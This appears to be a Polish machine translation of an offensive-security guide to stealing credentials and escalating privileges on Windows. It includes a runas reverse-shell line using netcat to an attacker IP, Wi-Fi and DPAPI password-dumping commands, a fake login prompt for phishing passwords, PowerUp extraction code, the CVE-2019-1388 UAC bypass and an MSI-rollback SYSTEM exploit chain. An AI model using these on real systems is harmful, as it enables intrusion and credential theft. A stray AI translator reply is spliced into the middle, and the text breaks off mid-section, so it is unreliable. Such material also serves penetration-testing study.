Windows Vault przechowuje user credentials dla serwerów, stron internetowych i innych programów, do których Windows może automatycznie logować użytkowników. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać swoje Facebook credentials, Twitter credentials, Gmail credentials itp., aby automatycznie logować się przez przeglądarki. Jednak tak nie jest.

Windows Vault przechowuje credentials, do których Windows może automatycznie logować użytkowników, co oznacza, że każda Windows application that needs credentials to access a resource (serwer lub strona internetowa) can make use of this Credential Manager i Windows Vault i użyć dostarczonych credentials zamiast tego, żeby użytkownicy za każdym razem wpisywali nazwę użytkownika i hasło.

Jeżeli aplikacje nie komunikują się z Credential Manager, nie sądzę, aby było możliwe, żeby korzystały z credentials dla danego zasobu. Więc jeśli twoja aplikacja chce korzystać z vault, powinna w jakiś sposób communicate with the credential manager and request the credentials for that resource z domyślnego magazynu vault.

Użyj cmdkey, aby wylistować przechowywane credentials na maszynie.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Następnie możesz użyć runas z opcją /savecred, aby skorzystać z zapisanych poświadczeń. Poniższy przykład uruchamia zdalny plik binarny za pośrednictwem udziału SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Używanie runas z podanym zestawem credential.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Zauważ, że mimikatz, lazagne, credentialfileview, VaultPasswordView, lub z Empire Powershells module.

DPAPI

Interfejs Data Protection API (DPAPI) zapewnia metodę symetrycznego szyfrowania danych, używaną przede wszystkim w systemie Windows do symetrycznego szyfrowania prywatnych kluczy asymetrycznych. To szyfrowanie wykorzystuje tajemnicę użytkownika lub systemu, która znacząco zwiększa entropię.

DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego pochodzącego z sekretów logowania użytkownika. W scenariuszach związanych z szyfrowaniem systemowym wykorzystuje sekrety uwierzytelniania domeny systemu.

Zaszyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu %APPDATA%\Microsoft\Protect{SID}, gdzie {SID} oznacza Security Identifier użytkownika. Klucz DPAPI, współlokowany z kluczem głównym, który zabezpiecza prywatne klucze użytkownika w tym samym pliku, zwykle składa się z 64 bajtów losowych danych. (Ważne jest, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wylistowanie jego zawartości za pomocą polecenia dir w CMD, choć można je wypisać przez PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Możesz użyć mimikatz module dpapi::masterkey z odpowiednimi argumentami (/pvk lub /rpc), aby go odszyfrować.

credentials files protected by the master password zwykle znajdują się w:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Możesz użyć mimikatz module dpapi::cred z odpowiednim /masterkey, aby odszyfrować.
Możesz wyodrębnić wiele DPAPI masterkeys z pamięci za pomocą modułu sekurlsa::dpapi (jeśli jesteś root).

{{#ref}} dpapi-extracting-passwords.md {{#endref}}

PowerShell Credentials

PowerShell credentials są często używane do skryptowych zadań i automatyzacji jako wygodny sposób przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione przy użyciu DPAPI, co zazwyczaj oznacza, że mogą być odszyfrowane tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.

Aby odszyfrować PS credentials z pliku, który je zawiera, możesz zrobić:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Zapisane połączenia RDP

Możesz je znaleźć w HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
i w HKCU\Software\Microsoft\Terminal Server Client\Servers\

Ostatnio uruchamiane polecenia

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Menedżer poświadczeń pulpitu zdalnego

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Użyj Mimikatz dpapi::rdg modułu z odpowiednim /masterkey, aby odszyfrować dowolne pliki .rdg
Możesz wydobyć wiele DPAPI masterkeys z pamięci za pomocą Mimikatz sekurlsa::dpapi modułu

Sticky Notes

Ludzie często używają aplikacji StickyNotes na stacjach roboczych z Windows, aby zapisywać hasła i inne informacje, nie zdając sobie sprawy, że jest to plik bazy danych. Ten plik znajduje się pod adresem C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite i zawsze warto go wyszukać i przejrzeć.

AppCmd.exe

Uwaga: aby odzyskać hasła z AppCmd.exe musisz być Administratorem i uruchomić program pod wysokim poziomem integralności.
AppCmd.exe znajduje się w katalogu %systemroot%\system32\inetsrv\.\ Jeśli ten plik istnieje, możliwe że pewne credentials zostały skonfigurowane i mogą zostać odzyskane.

Ten kod został wyodrębniony z PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Sprawdź, czy C:\Windows\CCM\SCClient.exe istnieje .
Instalatory są uruchamiane z uprawnieniami SYSTEM, wiele jest podatnych na DLL Sideloading (Informacje z https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Pliki i Rejestr (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Klucze hosta

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys w rejestrze

SSH private keys mogą być przechowywane w kluczu rejestru HKCU\Software\OpenSSH\Agent\Keys, więc warto sprawdzić, czy znajduje się tam coś interesującego:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Jeśli znajdziesz jakiś wpis w tej ścieżce, prawdopodobnie będzie to zapisany klucz SSH. Jest przechowywany zaszyfrowany, ale można go łatwo odszyfrować za pomocą https://github.com/ropnop/windows_sshagent_extract.
Więcej informacji o tej technice: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Jeśli usługa ssh-agent nie działa i chcesz, żeby uruchamiała się automatycznie przy starcie systemu, uruchom:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Wygląda na to, że ta technika nie jest już ważna. Próbowałem utworzyć kilka kluczy ssh, dodać je za pomocą ssh-add i zalogować się przez ssh na maszynę. Rejestr HKCU\Software\OpenSSH\Agent\Keys nie istnieje, a procmon nie zidentyfikował użycia dpapi.dll podczas uwierzytelniania klucza asymetrycznego.

Pliki pozostawione bez nadzoru

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Możesz także wyszukać te pliki za pomocą metasploit: post/windows/gather/enum_unattend

Przykładowa zawartość:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

SAM & SYSTEM kopie zapasowe

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Poświadczenia w chmurze

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Wyszukaj plik o nazwie SiteList.xml

Buforowane hasło GPP

Dawniej istniała funkcja, która pozwalała na wdrażanie niestandardowych kont administratora lokalnego na grupie maszyn za pomocą Group Policy Preferences (GPP). Jednak ta metoda miała poważne luki bezpieczeństwa. Po pierwsze, Group Policy Objects (GPOs), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla dowolnego użytkownika domeny. Po drugie, hasła w tych GPP, zaszyfrowane AES256 przy użyciu publicznie udokumentowanego klucza domyślnego, mogły zostać odszyfrowane przez dowolnego uwierzytelnionego użytkownika. Stanowiło to poważne zagrożenie, ponieważ mogło umożliwić użytkownikom uzyskanie podwyższonych uprawnień.

Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie zbuforowane pliki GPP zawierające pole "cpassword" niepuste. Po znalezieniu takiego pliku funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera informacje o GPP i lokalizacji pliku, ułatwiając identyfikację i usunięcie tej luki bezpieczeństwa.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (przed Windows Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Aby odszyfrować cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Użycie crackmapexec do uzyskania haseł:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Przykład pliku web.config z poświadczeniami:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

OpenVPN credentials

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Logi

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Poproś o dane logowania

Zawsze możesz poprosić użytkownika o wpisanie jego credentials lub nawet credentials innego użytkownika, jeśli uważasz, że może je znać (zwróć uwagę, że poproszenie klienta bezpośrednio o credentials jest naprawdę ryzykowne):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Możliwe nazwy plików zawierające poświadczenia

Znane pliki, które jakiś czas temu zawierały hasła w clear-text lub Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

I don't have access to your repository or files. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or attach the file text) and I will translate the relevant English text to Polish, preserving all markdown/html/tags/paths as you requested.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials in the RecycleBin

Powinieneś również sprawdzić Bin w poszukiwaniu credentials

Aby odzyskać hasła zapisane przez różne programy, możesz użyć: http://www.nirsoft.net/password_recovery_tools.html

W rejestrze

Inne możliwe klucze rejestru zawierające credentials

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Historia przeglądarek

Powinieneś sprawdzić bazy danych, w których przechowywane są hasła z Chrome lub Firefox.
Również sprawdź historię, zakładki i ulubione przeglądarek — być może niektóre hasła są tam zapisane.

Narzędzia do ekstrakcji haseł z przeglądarek:

COM DLL Overwriting

Component Object Model (COM) is a technology built within the Windows operating system that allows intercommunication between software components of different languages. Each COM component is identified via a class ID (CLSID) and each component exposes functionality via one or more interfaces, identified via interface IDs (IIDs).

COM classes and interfaces are defined in the registry under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface respectively. This registry is created by merging the HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

W praktyce, jeśli możesz nadpisać którykolwiek z DLL-i, które zostaną załadowane, możesz eskalować uprawnienia, jeśli ten DLL zostanie uruchomiony przez innego użytkownika.

Aby dowiedzieć się, jak atakujący używają COM Hijacking jako mechanizmu utrzymywania dostępu, sprawdź:

{{#ref}} com-hijacking.md {{#endref}}

Generic Password search in files and registry

Przeszukaj zawartość plików

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Wyszukaj plik o określonej nazwie

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Wyszukaj w rejestrze nazwy kluczy i hasła

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Narzędzia wyszukujące passwords

MSF-Credentials Plugin is a msf plugin. Stworzyłem ten plugin, aby automatically execute every metasploit POST module that searches for credentials w systemie ofiary.
Winpeas automatycznie przeszukuje wszystkie pliki zawierające passwords wymienione na tej stronie.
Lazagne to kolejne świetne narzędzie do extract password z systemu.

Narzędzie SessionGopher wyszukuje sessions, usernames i passwords z kilku narzędzi, które zapisują te dane w clear text (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Wyobraź sobie, że proces uruchomiony jako SYSTEM otwiera nowy proces (OpenProcess()) z pełnym dostępem. Ten sam proces także tworzy nowy proces (CreateProcess()) z niskimi uprawnieniami, ale dziedziczący wszystkie otwarte handle głównego procesu.
Wówczas, jeśli masz pełny dostęp do procesu o niskich uprawnieniach, możesz przejąć otwarty handle do uprzywilejowanego procesu utworzonego za pomocą OpenProcess() i wstrzyknąć shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Segmenty pamięci współdzielonej, nazywane pipes, umożliwiają komunikację między procesami i transfer danych.

Windows provides a feature called Named Pipes, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as named pipe server and named pipe client.

When data is sent through a pipe by a client, the server that set up the pipe has the ability to take on the identity of the client, assuming it has the necessary SeImpersonate rights. Identifying a privileged process that communicates via a pipe you can mimic provides an opportunity to gain higher privileges by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found here and here.

Also the following tool allows to intercept a named pipe communication with a tool like burp: https://github.com/gabriel-sztejnworcel/pipe-intercept and this tool allows to list and see all the pipes to find privescs https://github.com/cyberark/PipeViewer

Różne

File Extensions that could execute stuff in Windows

Sprawdź stronę https://filesec.io/

Monitoring Command Lines for passwords

Po uzyskaniu shell jako użytkownik, mogą istnieć zadania zaplanowane lub inne procesy, które są uruchamiane i przekazują poświadczenia w linii poleceń. Skrypt poniżej przechwytuje linie poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim, wypisując wszelkie różnice.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Jeśli masz dostęp do interfejsu graficznego (przez konsolę lub RDP) i UAC jest włączony, w niektórych wersjach Microsoft Windows możliwe jest uruchomienie terminala lub dowolnego innego procesu jako "NT\AUTHORITY SYSTEM" z konta nieuprzywilejowanego.

To umożliwia eskalację uprawnień i bypass UAC jednocześnie, wykorzystując tę samą podatność. Dodatkowo nie ma potrzeby instalowania czegokolwiek, a binarka używana w trakcie procesu jest podpisana i wydana przez Microsoft.

Niektóre z podatnych systemów to:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Aby wykorzystać tę lukę, konieczne jest wykonanie następujących kroków:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

{{#ref}} integrity-levels.md {{#endref}}

Then read this to learn about UAC and UAC bypasses:

{{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}}

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

Atak zasadniczo polega na nadużyciu funkcji rollback Windows Installer, aby zastąpić legalne pliki złośliwymi podczas procesu odinstalowywania. W tym celu atakujący musi stworzyć malicious MSI installer, który posłuży do przejęcia folderu C:\Config.Msi, który następnie będzie używany przez Windows Installer do przechowywania rollback files podczas odinstalowywania innych pakietów MSI — rollback files zostaną zmodyfikowane tak, by zawierały złośliwy payload.

Podsumowanie techniki wygląda następująco:

  1. Stage 1 Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as "UAC Compliant", so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it cant delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?

You could exploit NTFS internals: every folder has a hidden alternate data stream called:

C:\SomeFolder::$INDEX_ALLOCATION

Ten strumień przechowuje metadane indeksu folderu.

Zatem, jeśli usuniesz strumień ::$INDEX_ALLOCATION folderu, NTFS usuwa cały folder z systemu plików.

Możesz to zrobić używając standardowych API do usuwania plików, takich jak:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Mimo że wywołujesz file delete API, to usuwa sam folder.

Od Folder Contents Delete do SYSTEM EoP

Co jeśli twój primitive nie pozwala na usunięcie dowolnych files/folders, ale pozwala na usunięcie contents folderu kontrolowanego przez atakującego?

  1. Step 1: Przygotuj folder i file przynęty
  • Utwórz: C:\temp\folder1
  • W środku: C:\temp\folder1\file1.txt
  1. Step 2: Umieść oplock na file1.txt
  • Ten oplock wstrzymuje wykonanie, gdy uprzywilejowany proces próbuje usunąć file1.txt.
// pseudo-code
